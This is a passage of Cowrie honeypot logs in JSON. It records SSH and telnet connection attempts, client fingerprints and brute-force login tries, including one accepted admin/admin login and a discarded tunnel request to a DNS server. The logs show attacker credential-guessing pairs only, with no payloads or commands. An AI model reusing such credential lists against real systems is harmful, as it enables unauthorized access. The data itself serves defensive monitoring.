t-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:44.902876Z","src_ip":"159.203.92.129","session":"a73a1dc30195","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DaisyZhang","password":"DaisyZhang","message":"login attempt [DaisyZhang/DaisyZhang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:45.006468Z","src_ip":"159.203.92.129","session":"a73a1dc30195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:46.013852Z","src_ip":"159.203.92.129","session":"a73a1dc30195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56604,"dst_ip":"10.17.0.5","dst_port":22,"session":"705a94576036","protocol":"ssh","message":"New connection: 87.251.64.176:56604 (10.17.0.5:22) [session: 705a94576036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:53.377107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:53.381373Z","src_ip":"87.251.64.176","session":"705a94576036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:53.477599Z","src_ip":"87.251.64.176","session":"705a94576036","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:53.766823Z","src_ip":"87.251.64.176","session":"705a94576036","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:53.865736Z","session":"705a94576036","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:53.964374Z","src_ip":"87.251.64.176","session":"705a94576036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:02:54.062694Z","src_ip":"87.251.64.176","session":"705a94576036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.23.124.56","src_port":9180,"dst_ip":"159.203.135.109","dst_port":23,"session":"27a7c015acb8","protocol":"telnet","message":"New connection: 187.23.124.56:9180 (159.203.135.109:23) [session: 27a7c015acb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:03:25.350105Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39926,"dst_ip":"159.203.135.109","dst_port":22,"session":"94182cda60c3","protocol":"ssh","message":"New connection: 159.203.92.129:39926 (159.203.135.109:22) [session: 94182cda60c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:03:26.587271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:03:26.595704Z","src_ip":"159.203.92.129","session":"94182cda60c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:03:26.600685Z","src_ip":"159.203.92.129","session":"94182cda60c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DaisyZhang","password":"DaisyZhang123","message":"login attempt [DaisyZhang/DaisyZhang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:03:26.617824Z","src_ip":"159.203.92.129","session":"94182cda60c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:03:27.643220Z","src_ip":"159.203.92.129","session":"94182cda60c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.455949783325195,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:03:38.805972Z","src_ip":"187.23.124.56","session":"27a7c015acb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44816,"dst_ip":"159.203.135.109","dst_port":22,"session":"6af8a35b8210","protocol":"ssh","message":"New connection: 159.203.92.129:44816 (159.203.135.109:22) [session: 6af8a35b8210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:08.491659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:08.497987Z","src_ip":"159.203.92.129","session":"6af8a35b8210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:08.503450Z","src_ip":"159.203.92.129","session":"6af8a35b8210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"123456","message":"login attempt [Data/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:08.519909Z","src_ip":"159.203.92.129","session":"6af8a35b8210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.150.216.21","src_port":34022,"dst_ip":"159.203.135.109","dst_port":23,"session":"154d7eaa2ff5","protocol":"telnet","message":"New connection: 170.150.216.21:34022 (159.203.135.109:23) [session: 154d7eaa2ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:08.716266Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:09.561752Z","src_ip":"159.203.92.129","session":"6af8a35b8210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.731716632843018,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:21.447831Z","src_ip":"170.150.216.21","session":"154d7eaa2ff5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34224,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2d956b481eb","protocol":"ssh","message":"New connection: 159.203.92.129:34224 (159.203.135.109:22) [session: d2d956b481eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:50.544324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:50.560530Z","src_ip":"159.203.92.129","session":"d2d956b481eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:50.565117Z","src_ip":"159.203.92.129","session":"d2d956b481eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2010","message":"login attempt [Data/korea2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:50.634299Z","src_ip":"159.203.92.129","session":"d2d956b481eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:04:51.642130Z","src_ip":"159.203.92.129","session":"d2d956b481eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44446,"dst_ip":"159.203.135.109","dst_port":22,"session":"96dd2dac09fd","protocol":"ssh","message":"New connection: 159.203.92.129:44446 (159.203.135.109:22) [session: 96dd2dac09fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:32.602394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:32.607318Z","src_ip":"159.203.92.129","session":"96dd2dac09fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:32.615376Z","src_ip":"159.203.92.129","session":"96dd2dac09fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2011","message":"login attempt [Data/korea2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:32.625883Z","src_ip":"159.203.92.129","session":"96dd2dac09fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:33.632680Z","src_ip":"159.203.92.129","session":"96dd2dac09fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":49344,"dst_ip":"159.203.135.109","dst_port":22,"session":"467f8ad0fec1","protocol":"ssh","message":"New connection: 80.94.92.186:49344 (159.203.135.109:22) [session: 467f8ad0fec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:38.282812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:38.328290Z","src_ip":"80.94.92.186","session":"467f8ad0fec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:38.474577Z","src_ip":"80.94.92.186","session":"467f8ad0fec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:39.989398Z","src_ip":"80.94.92.186","session":"467f8ad0fec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:41.202517Z","src_ip":"80.94.92.186","session":"467f8ad0fec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.36.38.211","src_port":3162,"dst_ip":"10.17.0.5","dst_port":23,"session":"540858a6dedf","protocol":"telnet","message":"New connection: 14.36.38.211:3162 (10.17.0.5:23) [session: 540858a6dedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:49.043214Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32608,"dst_ip":"10.17.0.5","dst_port":22,"session":"24aac84a3330","protocol":"ssh","message":"New connection: 87.251.64.176:32608 (10.17.0.5:22) [session: 24aac84a3330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:50.528700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:05:50.536729Z","src_ip":"87.251.64.176","session":"24aac84a3330","protocol":"ssh"}
